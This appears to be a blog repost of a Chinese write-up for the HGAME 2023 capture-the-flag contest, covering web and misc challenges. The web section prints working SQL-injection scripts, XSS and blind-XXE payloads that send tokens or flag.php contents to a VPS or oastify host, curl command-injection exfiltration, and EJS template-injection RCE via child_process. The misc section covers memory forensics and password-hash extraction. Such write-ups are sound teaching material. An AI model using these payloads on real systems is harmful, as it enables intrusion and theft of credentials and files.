hgame2023 WebMisc

news2024/11/25 21:39:38

文章目录

  • Web
    • week1
      • Classic Childhood Game
      • Become A Member
      • Guess Who I Am
      • Show Me Your Beauty
    • Week2
      • Git Leakage
      • v2board
      • Search Commodity
      • Designer
    • week3
      • Login To Get My Gift
      • Ping To The Host
      • Gopher Shop
    • week4
      • Shared Diary
      • Tell Me
  • Misc
    • week1
      • Where am I
      • 神秘的海报
    • week2
      • Tetris Master
      • Tetris Master Revenge
      • Sign In Pro Max
      • crazy_qrcode
    • week3
      • Tunnel
    • week4
      • 取证
      • ezWin - variables 变量
      • ezWin - auth
      • ezWin - 7zip

Web

week1

Classic Childhood Game

js小游戏

image-20230105224510817

image-20230105224533149

Become A Member

单纯的HTTP标头 修改

第一步身份认证是修改 User-Agent(卡了挺久)

image-20230209053247829

后面就没啥了

Guess Who I Am

联系脚本编写

有三个关键路由

获取问题:/api/getQuestion,验证答案:/api/verifyAnswer,获取分数:/api/getScore

根据 给的简介 来 提交对应的id

import requests
import json

url1= 'http://week-1.hgame.lwsec.cn:30886/api/getQuestion' #简介
url2= 'http://week-1.hgame.lwsec.cn:30886/api/verifyAnswer' # 提交id
url3= 'http://week-1.hgame.lwsec.cn:30886/api/getScore' # 分数
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    }

session = requests.session() #保持同一会话

for i in range(101):
    print('----------------------------------------第'+str(i)+'次结果')
    ## 1 拿到简介
    file = session.get(url=url1,headers=header)
    print(file.text)
    res = json.loads(file.text)
    target = res["message"]
    print(target)

    id = ['ba1van4', 'yolande', 't0hka', 'h4kuy4', 'kabuto', 'R1esbyfe', 'tr0uble', 'Roam', 'Potat0', 'Summer', 'chuj', '4nsw3r', '4ctue', '0wl', 'At0m', 'ChenMoFeiJin', 'Klrin', 'ek1ng', 'latt1ce', 'Ac4ae0', 'Akira', 'qz', 'Liki4', '0x4qE', 'xi4oyu', 'R3n0', 'm140', 'Mezone', 'd1gg12', 'Trotsky', 'Gamison', 'Tinmix', 'RT', 'wenzhuan', 'Cosmos', 'Y', 'Annevi', 'logong', 'Kevin', 'LurkNoi', '幼稚园', 'lostflower', 'Roc826', 'Seadom', 'ObjectNotFound', 'Moesang', 'E99p1ant', 'Michael', 'matrixtang', 'r4u', '357', 'Li4n0', '迟原静', 'Ch1p', 'f1rry', 'mian', 'ACce1er4t0r', 'MiGo', 'BrownFly', 'Aris', 'hsiaoxychen', 'Lou00', 'Junier', 'bigmud', 'NeverMoes', 'Sora', 'fantasyqt', 'vvv_347', 'veritas501', 'LuckyCat', 'Ash', 'Cyris', 'Acaleph', 'b0lv42', 'ngc7293', 'ckj123', 'cru5h', 'xiaoyao52110', 'Undefinedv', 'Spine', 'Tata', 'Airbasic', 'jibo', 'Processor', 'HeartSky', 'Minygd', 'Yotubird', 'c014', 'Explorer', 'Aklis', 'Sysorem', 'Hcamael', 'LoRexxar', 'A1ex', 'Ahlaman', 'lightless', 'Edward_L', '逆风', '陈斩仙', 'Eric']
    intro = ['21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉', '21级 / 非常菜的密码手 / 很懒的摸鱼爱好者,有点呆,想学点别的但是一直开摆', '21级 / 日常自闭的Re手', '21级 / 菜鸡pwn手 / 又菜又爱摆', '21级web / cat../../../../f*', '21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群', '21级 / 喜欢肝原神的密码手', '21级 / 入门级crypto', '20级 / 摆烂网管 / DN42爱好者', '20级 / 歪脖手 / 想学运维 / 发呆业务爱好者', '20级 / 已退休不再参与大多数赛事 / 不好好学习,生活中就会多出许多魔法和奇迹', '20级会长 / re / 不会pwn', '20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期', '20级 / Re手 / 菜', '20级 / web / 想学iot', '20级 / Crypto / 摸鱼学代师', '20级 / WEB / 菜的抠脚 / 想学GO', '20级 / Web / 还在努力', '20级 / Crypto&BlockChain / Plz V me 50 eth', '*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦', '19级 / 不会web / 半吊子运维 / 今天您漏油了吗', '19级 / 摸鱼美工 / 学习图形学、渲染ing', '19级 / 脖子笔直歪脖手', '19级 / &lt;/p&gt;&lt;p&gt;Web', '19级 / 骨瘦如柴的胖手', '19级 / bin底层选手', '19级 / 不会re / dl萌新 / 太弱小了,没有力量 / 想学游戏', '19级 / 普通的binary爱好者。', '19级 / 游戏开发 / 🐟粉', '19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉', '19级 / 挖坑不填的web选手', '19级会长 / DL爱好者 / web苦手', '19级 / Re手,我手呢?', '18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包', '18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨', '18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手', '18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死', '18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟', '18 级 / Web / 车万', '18级 / 会一丢丢crypto / 摸鱼', '18级会长 / 二进制安全 /  干拉', '18级 / 游戏引擎开发 / 尚有梦想的game maker', '18 级 / Web 底层选手', '18 级 / Web / 真·菜到超乎想象 / 拼死学(mo)习(yu)中', '18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合!', '18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼!', '18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台', '18 级 / Java / 会除我佬', '18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向', '18级 / 不可以摸🐠哦', '18级 / 并不会web / 端茶送水选手', '17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友', '17级 / Focus on Java Security', '17 级 / 自称 Bin 手实际啥都不会 / 二次元安全', '17 级 / Web', '17 级 / 业余开发 / 专业摸鱼', '17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1', '17级 / 二战人 / 老二次元 / 兴趣驱动生活', '17级 / RedTeamer / 字节跳动安全工程师', '17级/ Key厨 / 腾讯玄武倒水的', '17级 / 游戏厂打工仔 / 来深圳找我快活', '17级 / web / 东南读研', '16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献', '16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制', '16 级 / Java 福娃 / 上班 996 / 下班 669', '16 级 / Web Developer', '16 级 / 可能会运维 / 摸鱼选手', '16 级 / Rev / Windows / Freelancer', '16 级 / Bin / 被迫研狗', '16 级 / Web 🐱 / 现于长亭科技实习', '16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死', '16 级 / Web 前端 / 美工 / 阿里云搬砖', '16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒!', '16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠', '16 级 / 蟒蛇饲养员 / 高数小王子', '16 级 / Web / 菜鸡第一人', '16级 / 前web手、现pwn手 / 菜鸡研究生 / scu', '16 级 / Bin 打杂 / 他们说菜都是假的,我是真的', '15 级网安协会会长 / Web 安全', '逆向 / 二进制安全', '二进制 CGC 入门水准 / 半吊子爬虫与反爬虫', 'Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三', '15 级 / 什么都不会的开发 / 打什么都菜', '15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜', '15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出', '15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅', '15 级 / 已入 Python 神教', '15 级 / Web 🐶 / 汪汪汪', '14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研', '14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师', '14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾', '13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞,密码学,区块链都看得懂一点,但啥也不会', '14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员', '14 级网安协会副会长 / Web 安全', '14 级网安协会副会长 / 无线安全', 'Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究', '13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全,fuzz,符号执行方向研究', '13 级菜鸡 / 大数据打杂', '什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU', '渗透 / 人工智能 / 北师大博士在读']
    # 得到id
    print(intro.index(target))
    answer = id[intro.index(target)]
    print(answer)
    # 传入答案
    data={'id':answer}
    file2 = session.post(url=url2,headers=header,data=data)
    print(file2.text)
    # 检查分数
    file3 = session.get(url=url3,headers=header)
    print(file3.text)

我是先提取出来对应的id和简介,再来一一对应提交

Show Me Your Beauty

文件上传

php后缀大写 即可绕过检测

image-20230209053626992

Week2

Git Leakage

电视剧里的黑客?真正的黑客!

题干提示了git泄露,用工具试一下

扫目录确实是扫到了git

image-20230112215353856

然后用git_extract.py 扫描恢复git文件,成功拿到了一个文本Th1s_1s-flag

image-20230112215450027

image-20230112215739129

恭喜你找到了这里,不过Flag已经被我改掉啦,所以怎么找到之前版本的文件内容呢?

找到之前版本的文件内容? 我就去试试去访问url/Th1s_1s-flag

下载了这个文件,打开就是flag

image-20230112215902688

v2board

请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。

image-20230112224120090

随便注册了个用户登录进去了

抓包发现 ,有authorization,这是一种身份认证的http头,

image-20230112225403237

那么去搜V2Board这个框架,发现了V2Board Admin.php 越权访问漏洞

image-20230113193117852

/api/v1/passport/auth/login接口登录该账号,如下图所示,会返回一个auth_data

然后访问/api/v1/user/login接口,并将上述获得的auth_data作为authorization头发送,这一步的目的是让服务器将普通用户的Authorization头写入缓存中

最后只要带上这个Authorization头即可访问所有的管理员接口,如/api/v1/admin/user/fetch等

image-20230113193722892

所以就是一个简单的水平越权,知道admin的接口,修改api即可

Search Commodity

密码直接爆破出来

image-20230113200833076

登录进来后有个 search_id的参数用来查询 商品

image-20230113205301948

明显是存在sql注入,不断尝试 但是回显的信息不是很明显,测不出来过滤了哪些

后面了解到是 替换为空,可以使用双写绕过

空格 过滤了,/**/ 也需要双写成/*/**/*/

关键字大小写绕过也可

-1/*/**/*/Union/*/**/*/Select/*/**/*/1,2,3#
-1/*/**/*/Union/*/**/*/Select/*/**/*/1,datadatabasebase(),3#

也是直接盲注脚本可以

= 可以用like替换

import requests
import string
strs = string.printable
headers = {
    'Cookie': 'SESSION=MTY3MzYxMTcyMnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18uakhux0I3sDMLP6YE_83pYZ9tcWTvPhwi3S6KJFYeA4='
}
flag = ''
def attack(url):
    global flag
    for i in range(1, 100):
        for j in strs:
            if j == '%':
                continue
            tmp = ord(j)
            payload = 'DATABASE()'
            payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
            payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
            payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
            data = {
                'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
            }
            r = requests.post(url, data=data, headers=headers)
            if 'hard disk' in r.text:
                flag += j
                print(flag)
                break
        if flag.endswith('}'):
            break
if __name__ == '__main__':
    url = 'http://week-2.hgame.lwsec.cn:32498/search'
    attack(url)

Designer

首页是

image-20230128200719806

/button/edit 有个编辑按钮的功能

image-20230128200653004

按钮样式是在 /button/preview 中

还给了附件 index.js

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})

这里交代了flag存在admin用户下的token中

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

/button/share中调用了http://127.0.0.1:9090/button/preview?

/button/preview 中有黑名单过滤xss一些关键字

参考la神的wp

var xhr=new XMLHttpRequest();
xhr.open("POST","http://127.0.0.1:9090/user/register",false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(JSON.stringify({"username":"admin"}));
url="http://VPS-IP/x.php?token="+String(xhr.responseText);
var xhr2=new XMLHttpRequest();
xhr2.open("GET",url,false);
xhr2.send("token");

admin点击后,生成正确token,发送到VPS的apache日志中:

week3

Login To Get My Gift

布尔盲注

image-20230201011405524

有waf的回显,fuzz一下ban了哪些

禁了蛮多的,select union 空格 and length like substr等都没了

or是放出来了

布尔盲注,有Succes的回显

image-20230201011138563

substr(str,start,1) 等价于 right(left(str,len),1)

盲注一般用substr,不过这里ban了,可以用right+left

比如

image-20230201013422096

根据这里就可以写脚本跑出库名

=号也ban了,也有许多绕过方法,这里可以用in关键词

where table_schema = database()

where table_schema in(database())

where table_schema in(0x16进制)

import requests
import time

url = "http://week-3.hgame.lwsec.cn:31939/login"

result = ""
i = 0

while (True):
    i = i + 1
    low = 32
    high = 127

    while (low < high):
        mid = (low + high) // 2

        #payload = "0'/**/or/**/ord(right(left(database(),%d),1))>%d#" % (i, mid)
        #payload = "0'/**/or/**/ord(right(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/in(database()))),%d),1))>%d#" % (i, mid)
        #payload = "0'/**/or/**/ord(right(left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/in('User1nf0mAt1on'))),%d),1))>%d#" % (i, mid)
        payload = "0'/**/or/**/ord(right(left((select(group_concat(PAssw0rD))from(User1nf0mAt1on)),%d),1))>%d#" % (i, mid)

        data={
            'username':'test',
            'password':payload,
        }

        r = requests.post(url=url,data=data)
        time.sleep(0.5)
        r.encoding = "utf-8"
        # print(url+payload)
        if "Succes" in r.text:
            low = mid + 1
        else:
            #print(r.text)
            high = mid

    last = result
    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

结果
库L0g1NMe
表User1nf0mAt1on
列id,UsErN4me,PAssw0rD
hgAmE2023HAppYnEwyEAr,testuser
WeLc0meT0hgAmE2023hAPPySql,testpassword

登录后访问/home即可

Ping To The Host

一个用来输入ip的ping工具,我可以用它来做些什么?

这种题型之前做的都是直接执行命令(配合; & | 等管道符)

此题也不例外,只是没有命令结果的回显

这题还设了waf,ban了 空格 ; 等

空格用${IFS}绕过

无回显执行命令,我们用curl外带

127.0.0.1|curl${IFS}http://vpsip:4444?a=`ls${IFS}/|base64`

ls / 拿到flag的文件名是flag_is_here_haha

127.0.0.1|curl${IFS}http://47.100.196.3:4444?a=`nl${IFS}/fl*`

image-20230201025222219

Gopher Shop

今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店…

image-20230201033328104

可以简单粗暴地使用条件竞争,直接重复买Flag10000次,就赌服务器检查不过来

import requests
import threading

def req():
    url = 'http://week-3.hgame.lwsec.cn:31111/api/v1/user/buyProduct?product=Flag&number=1'
    headers = {
        'Cookie':'SESSION=MTY3NTE4OTc0NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwQnP1C-gBhrFuG-GFI2yGPc3QsG0CSUEHeRahONCVOxw==; session=MTY3NTE5MzMxMHxEdi1CQkFFQ180SUFBUkFCRUFBQUtQLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dJQUFZeE1qTTBOVFk9fKDfSi3Bd18TAleiQIVGKj5Tlcxs4toyGz3e-eLGoGRV'
    }
    r = requests.get(url=url, headers=headers)

for i in range(10000):
    threading.Thread(target=req).start()

10000次 竞争,成功竞争出去了一百多次

image-20230201034716260

官方wp也有解释题目预期的考点

题⽬考察的漏洞点是golang整数溢出漏洞,uint类型在64位机器上运⾏时为uint64,最⼤值为

18446744073709551615 ,最⼩值为 0 ,超出范围都会溢出。

可以使用条件竞争来做

条件竞争的利⽤点在于在多个连续的请求发给服务端时,数据库中存储的值还没有被前⼀个请求所改

变,就被后⼀个请求所取出,导致都通过了 if 中的逻辑判断,在后⾯扣除余额/数量的时候变成负

数,导致 Overflow / Underflow

如果是对于卖的接⼝条件竞争,会出现⽐如说有⼀个苹果,两个卖1个苹果的请求过来都过了if语句,

那么第⼆个请求后端会认为是 -1 个苹果也就是 18446744073709551615 个。

如果是对于买的接⼝条件竞争,会出现⽐如说有10块钱,两个买1个苹果的请求过来都过了if语句,那

么第⼆个请求后端会认为是 -10 元也就是 18446744073709551606 元

week4

Shared Diary

ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。

首先就看到了merge()

image-20230209020737109

还禁用了__proto__ 看来是原型链污染无疑了

禁掉了__proto__,可以使用constructor.prototype绕过,因为constructor.prototype也可以操作原型链

看源码app.js

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        } 
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

目的是污染user.role = 'admin'

{"username": "admin","password": "admin","constructor": {"prototype":{"role": "admin"}}}

拿到admin的session,登录进去

进入 / 路由

 let diary = ejs.render(`<div>${req.body.diary}</div>`)

ejs.render() 存在SSTI漏洞 可以插⼊ <%- %> 标签来执⾏任意js,能够直接完成RCE

设置 diary 值为 <%- global.process.mainModule.require('child_process').execSync('ls -al /') %> 即可RCE

这还是我第一次写js的ssti

还存在另一个解法:

ejs 的rce 可以直接打

这里用escapeFunction可以,outputFunctionName的payload被修复了

escapeFunction的payload大致是

{
    "__proto__": {
        "__proto__": {
            "client": true,
            "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');",
            "compileDebug": true
        }
    }
}

官方给的payload是

{"constructor": {"prototype": {"role": "admin"{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}}},"username":"ek1ng","password":"123"}

Tell Me

image-20230209032642578

一个没回显的留言板

www.zip泄露源码 flag在flag.php

send.php

<?php 
    
libxml_disable_entity_loader(false);

if ($_SERVER["REQUEST_METHOD"] == "POST"){
    $xmldata = file_get_contents("php://input");
    if (isset($xmldata)){
        $dom = new DOMDocument();
        try {
            $dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
        }catch(Exception $e){
            $result = "loading xml data error";
            echo $result;
            return;
        }
        $data = simplexml_import_dom($dom);

        if (!isset($data->name) || !isset($data->email) || !isset($data->content)){
            $result = "name,email,content cannot be empty";
            echo $result;
            return;
        }

        if ($data->name && $data->email && $data->content){
            $result = "Success! I will see it later";
            echo $result;
            return;
        }else {
            $result = "Parse xml data error";
            echo $result;
            return;
        }
    }
}else {
    die("Request Method Not Allowed");
}

?>

libxml_disable_entity_loader ()是一个PHP函数,该函数将XML解析器配置为禁用外部实体加载

libxml_disable_entity_loader(false); 则会出现问题,开启了对xml标签的解析,存在xxe,但是没有回显

试一下盲注 XXE 通过来外带回显信息 http://thnpkm.xyz/index.php/archives/99/

在vps上创建一个xxe.dtd文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://zsv8l81kvekly212fi702pq3buhr5g.oastify.com?x=%file;'>">

(&#37 替换一下 % 实体不让%)

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://vps/xxe.dtd">
%remote;%int;%send;
]>
<user><name>1</name><email>1</email><content>1</content></user>

image-20230209043555817

用bp自带的dnslog也拿到了回显信息,报错也回显出了信息

image-20230209043857037

image-20230209043947639

Misc

week1

Where am I

image-20230209050448256

流15发现个rar

提取出来,显示文件头损坏,还可以预知里面有个jpg

image-20230209050642123

rar格式参考 https://sp4n9x.github.io/2020/04/10/RAR%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/

image-20230209050938334

这个位置修复 为 74 20即可 顺利解决

拿到jpg然后看详情信息得到经纬度 ,exiftool更好用

image-20230209051057950

神秘的海报

zsteg 其实lsb 0通道拿到第一段flag和信息(做的时候信息没看全走了不少弯路)

image-20230209052903276

给了个连接下载 wav音频, 然后提醒了是用 Steghide加密 弱口令六位数,直接试123456

image-20230209053044098

image-20230209053106867

week2

Tetris Master

你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris Master? 请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh ctf@week-2.hgame.lwsec.cn -p port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。

image-20230206020619543

非预期连上环境询问Are you tetris master?时候 ctrl+c 直接连上shell了 cat /flag

Tetris Master Revenge

结束后按n重新开始 分数不会清零, 通过这里也比较容易打到要求分数拿到flag

image-20230206022147905

image-20230206023844007

50000分 会执行cat /flag,可以不停的重开游戏来刷到5W分。(可以使用按键精灵)

官方wp介绍了这⾥存在⼀个数组内命令执⾏的Trick:

可以在询问是否是tetris master时,输⼊ arr[$(cat/flag)] ,并且让游戏结束,这时候数组的索引为 $(cat /flag) ,作为数组索引当然会报错,但是命令执⾏的结果会被输⼊到标准输出中,来实现RCE。

bash命令执行,参考ByteCTF 2022 - bash_game,在读入 target 值进入 paint_game_over() 内,比较时 [[]] 操作符会造成RCE

image-20230206025410262

连上后输入n,输入target score为r[$(cat /flag)] 然后开游戏 结束后命令会以报错的形式执行显示出来。

image-20230206025930935

Sign In Pro Max

Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.

1.base家族 f51d3a18

2.MD5解出 f91c

3.SH1解出 4952

4.SHA256解出 a3ed

5.凯撒 Part5 is 0bc0ea61d21c now put all the parts together dont forget the format

hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}

crazy_qrcode

一个看起来挺正常的二维码,但是扫不出来东西来

https://merricx.github.io/qrazybox/ 用这个工具 暴力解码即可(当时还试了去修复,发现直接解就行)

image-20230122191222574

QDjkXkpM0BHNXujs

拿到压缩包密码,得到24张二维码碎片

image-20230122191500404

根据这个列表的数字进行翻转,然后拼图即可 ,用ppt拼图

image-20230122191802374

Cr42y_qrc0de

week3

Tunnel

非预期010搜索字符

image-20230206014453051

week4

取证

vol3倒是第一次用,之前用的vol2,Volatility3Volatility2用法差不多,但不需要指定profile ,只是插件调用方式改变,熟悉熟悉基础操作

列出系统基本信息windows.info

python3 vol.py -f win10_22h2_19045.2486.vmem windows.info
image-20230201180526086

进程列表(windows.pstree)

image-20230201184550105

扫描文件(windows.filescan)

image-20230201190108080

ezWin - variables 变量

也就是说找到flag的变量 就是本题结果

反正直接 strings | grep 'hgame' 梭出来 有个HGAME_FLAG

image-20230201191126108

试试grep flag1 这应该是预期解

image-20230201192735405

这里是给出来flag1是在环境变量

使用vol3查看环境变量那就 windows.envars

image-20230201193342528 image-20230201193517276

ezWin - auth

根据上面的经验 直接 grep flag2

image-20230201193821522

flag2 是当前 user 的 nthash

windos.hashdump 来拿用户的hash值

image-20230209051333561

用户是Noname

hgame{84b0d9c9f830238933e7131d60ac6436}

ezWin - 7zip

还记的开始的时候扫 flag文件扫出个flag.7z

image-20230209051916567

提取出来

python3 vol.py -f win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr 0xd0064181c950
image-20230209052047046

image-20230209052416177

密码还是用户的密码

上题的hash解一下md5,拿到用户的密码

image-20230209051749078

拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java基础42 枚举与注解

枚举与注解一、枚举&#xff08;enumeration&#xff09;1.1 自定义类实现枚举1.2 enum关键字实现枚举1.2.1 enum的注意事项1.2.2 enum的使用练习1.2.3 enum的常用方法1.2.4 enum的使用细节及注意事项1.2.5 enum练习二、注解&#xff08;Annotation&#xff09;2.1 Override&am…

2023 软件测试行业内卷动荡,红利期过去后,何去何从?

前段时间席卷全互联网行业的内卷现象&#xff0c;想必有不少人都深陷其中。其实刚开始测试行业人才往往供不应求&#xff0c;而在发展了十几年后&#xff0c;很多人涌入这个行业开始面对存量竞争。红利期过去了&#xff0c;只剩内部争夺。 即便如此&#xff0c;测试行业仍有许…

shell条件测试

文章目录三、shell条件测试3.1条件测试的基本语法3.2 文件测试表达式3.3字符串测试表达式3.4 整数测试表达式3.5 逻辑操作符三、shell条件测试 为了能够正确处理Shell程序运行过程中遇到的各种情况&#xff0c;Linux Shell提供了一组测试运算符。通过这些运算符&#xff0c;Sh…

java rpc框架 中的自定义异常类型的全局处理

– 这里的dubbo 可泛指 所有rpc框架 –比如自定义异常类型是MyEx, 以及myEx可以转化为MyResult – 需求: 凡是请求链路中抛出的MyEx需要自动及时或最终转化为 自定义的MyResult返回 – 1. spring 提供 controller端的全局异常捕获. 这一步简单 – 2. dubbo 需要 将MyEx 传输回来…

【子网划分】求子网网络前缀、子网地址、每个子网可以分配给主机使用的最小地址和最大地址

1、某单位分配到一个地址块152.7.77.0/24&#xff0c;现在需要进一步划分为4个一样大的子网。&#xff08;10分&#xff09; 问题&#xff1a; (1) 每个子网的网络前缀有多长&#xff1f; (2) 每一个子网中有多少个地址&#xff1f; (3) 每一个子网的网络地址是什么&#xff1f…

Python实现贝叶斯优化器(Bayes_opt)优化BP神经网络分类模型(BP神经网络分类算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。1.项目背景贝叶斯优化器(BayesianOptimization) 是一种黑盒子优化器&#xff0c;用来寻找最优参数。贝叶斯优化器是基…

Linux基本功系列之sort命令实战

